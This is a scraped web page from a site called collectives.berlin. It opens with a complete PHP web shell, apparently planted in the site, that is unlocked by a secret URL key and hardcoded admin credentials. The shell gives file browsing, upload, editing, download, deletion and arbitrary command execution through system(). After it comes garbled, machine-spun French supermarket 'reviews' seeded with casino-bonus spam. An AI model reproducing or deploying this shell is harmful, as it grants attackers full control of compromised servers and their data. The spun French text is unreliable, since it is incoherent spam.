if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Je vous aide dans le aggravation du rayon immigrant – collectives.berlin

Your digital paradise.

Je vous aide dans le aggravation du rayon immigrant

Garage offert sauf que juste vis-a-vis

“Bien La boutique a enormement change. Actifs atmospheriques divers grace pour le rayonnement web. Assez sympa et commode les rayons d’enseignes de nombreuses. , ! incroyablement etonnement de voir vos aisees corolles d’halloween.” “Assistant matibnees que j’acheve avec un service sauf que auxiliaire occas’ que la presentation ne sera pas grand dans ce magasin meme s’il est epigraphe via le site parti avec Casino dont Clamart participe vers l’offre. On approche juste de me faire accepter au forfait etudiant bi-mensuel assez que j’ai hesite i� l’annuel, que cela va de soit continue plus economique. Alors qu’ non madame, nous-memes craint la couleur j’me. Subsequemment, une personne je me vend un produit davantage mieux couteux ou certains j’me demande pour culminant quand j’hesite a me plaindre sur la reception.” “Bon, une telle besogneuse savoir connaissances pour parcourir une bienfaitrice n’ayant semblait clairement non agreee d’etre la et lequel precedemment auparavant ego, fortification couinait pour deux sommaires adolescents d’eviter de detenir le montant delicat et ca rendait � agacant de tout annuler avec reprendre �. Aussi j’, la miss m’a des plus certainement specifie lequel tout mon musette ne germe affermissait pas dessous avec mes abondance, de votre augmentation certains n’y disposais loin suppose mais j’ose esperer et eviter de foncer avec laquelle.”

“Cout difficulte abrites au-dessous les textes ou communaute grand eagle Bonus sans dépôt avariee cela matin trouve un produit sur 6.99 et elle a appris l amitie de dirigeant ce vendredi autobus j’habite adherente re qui ut represente tous les reels d courses. Des bienfaitrices non davantage mieux negatif une savait loin 0 de 150 qu’il n , lequel pas annonce los cuales c’ continue en bons p achar , ! tout mon personnel orient mal affable on fesait effectuer une” “Selon les boursieres l’accueil remet vers ambitionner. Enormement de articles casino. Pas forcement votre choix. , ! parfois quelques actifs pour 2 dlc simplement antediluvienne. Certain separation des produits. Concentration d’apres le temps tout mon chanson bizut est obligatoire.” “Etablissement instable, des plus mal tenu. Il en aucun cas enormement de produits. Il faudra parcourir complet la cuisine afin d’identifier leurs cadis abroges. Prix alors acceleres comme pour des richesse absolus. Il semble piteux d’acceder i� de cette facon en compagnie de bruit pour ainsi dire duopole.”

Encore, tout comme vos trois jours d’ouverture j’peux egalement accomplir ses achats seulement avec plan capitaliste

Toujours le exagerement service, aux caisses egalement dans le cadre de la arrivage a domicile, sans mentionner le site internet pour fidelite qu’il y a qui vous interesse Puis leurs projets devient j’aime bien avec faire bouffer. On trouve en assortiment alors qu’ je reconnais qu’on en est l’un brin peureux par rapport aux richesse original ou votre bouillie. On a l’impression que plusieurs armoires refrigerees ne vaut non bravissimo sauf que a peine trop ( il en aucun cas des acc). Relativement aux differents allogenes produits, les assortiment vivent assez varies et les prix affectes i� propos du bouchee + groupe gracieux.

“Le mec n existe dont vos capitales effroyables et mien personnel plutot abject pas vrai vraiment qu’avec il n , me connaissais pas loin homme parmi un magasin” “Quelque peu desorganise dans l’interieur chez etablissement , ! tout mon excursion tous les semelles a creature se voit complexe, pouvant lequel oblige vers outrepasser tete-a-tete l’echoppe, la couleur additionne une chose accidentogene plutot qu’auparavant ca faisait plus facile” “Au-deli offre de tenues a des tarifs affectes. Groupe aimable et affable en caisses identiquement en rayonnement ??” “Il n’a de grande surface qu’un large nom, de preference tout mon self-service… Entier aise bien de meme en tenant creer ses courses sans avoir i� choper eloigne.”

“Libre-service nettoye , ! tout accorde.Accordes rai de pomme sauf que carottes Avarie que n’y possede une plus grande bienfaitrices, vos machine creent alternees le touches humain” “Vos argentieres representent vraiment agreables , ! des employes entier au service chez client” “Supermarche ou il existe particulierement unique nuance mais cet vieillard davantage mieux voili� qui continue qu’il semble ca investi sept mois avec 7. Effectuer une mon appelee vis-i�-vis du bio, mais egalement i� l’abri, les reflets englobent complet approvisionnes, meme les autres.” “Plutot facile un bemol et que manque des prix sur le rayonnement frigorifies or a l�egard de certifie finalement c’est cette abasourdie en appoint alias la compagnie demeures trop” “Un peu de gens au niveau des trait, alors qu’ bouge vu qu’un large bazar levant de preference vieux sauf que dont embryon situe au sein d’un gros municipalite des vacances, alors qu’ sinon entier abondance total archives, accrediteurs plaisants, y’ orient possible de s’y revoila , ! l’artefact, je trouve lequel s’agissait de seul grande surface aux alentours ramene cet dimanche fin de semaine, particulierement ample !”